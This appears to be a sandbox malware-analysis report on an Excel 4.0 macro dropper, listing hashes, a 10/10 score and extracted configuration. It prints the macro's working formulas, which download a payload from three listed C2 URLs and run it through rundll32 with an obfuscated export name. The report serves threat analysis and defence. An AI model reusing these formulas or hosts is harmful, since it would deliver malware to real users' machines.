Overview

overview

10

Static

static

10

?i=1kkchyurb.xlsm

windows7_x64

10

?i=1kkchyurb.xlsm

windows10-2004_x64

10

Sharing

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General

  • Target

    ?i=1kkchyurb

  • Size

    83KB

  • Sample

    220503-n3vctagbfq

  • MD5

    3e7a72a5cf394ca9b6bddfca2793c259

  • SHA1

    3cd1eacdff52eaf83b4cdc3c4656019a5c5f288f

  • SHA256

    2243ada22b4c83d5f5470d40be8a9a88035c7264ad4404dad0776975a93da710

  • SHA512

    fbfa181b3dbfbcdf07382852063602271e10bc9abb480046640c02908faa8564eaac6cf9c90e82883e5f3c7baf564f5ad936db8f2fe73bbfd71ccd0e7ab80e05

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://mail.emilyanncain.com/cgi-bin/A7NT3ENvn/

https://wordpress.baishuweb.com/wp-includes/10q0ice6/

http://monorailegypt.com/wp-admin/6uBf9CCfZRMh/
Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://mail.emilyanncain.com/cgi-bin/A7NT3ENvn/","..\erum.ocx",0,0) =IF('EWDFFEFAD'!E18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wordpress.baishuweb.com/wp-includes/10q0ice6/","..\erum.ocx",0,0)) =IF('EWDFFEFAD'!E20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://monorailegypt.com/wp-admin/6uBf9CCfZRMh/","..\erum.ocx",0,0)) =IF('EWDFFEFAD'!E22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\erum.ocx,D""&""l""&""lR""&""egister""&""Serve""&""r") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://mail.emilyanncain.com/cgi-bin/A7NT3ENvn/

Targets

    • Target

      ?i=1kkchyurb

    • Size

      83KB

    • MD5

      3e7a72a5cf394ca9b6bddfca2793c259

    • SHA1

      3cd1eacdff52eaf83b4cdc3c4656019a5c5f288f

    • SHA256

      2243ada22b4c83d5f5470d40be8a9a88035c7264ad4404dad0776975a93da710

    • SHA512

      fbfa181b3dbfbcdf07382852063602271e10bc9abb480046640c02908faa8564eaac6cf9c90e82883e5f3c7baf564f5ad936db8f2fe73bbfd71ccd0e7ab80e05

    Score
    10/10

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    behavioral1behavioral2

MITRE ATT&CK Enterprise v6

Tasks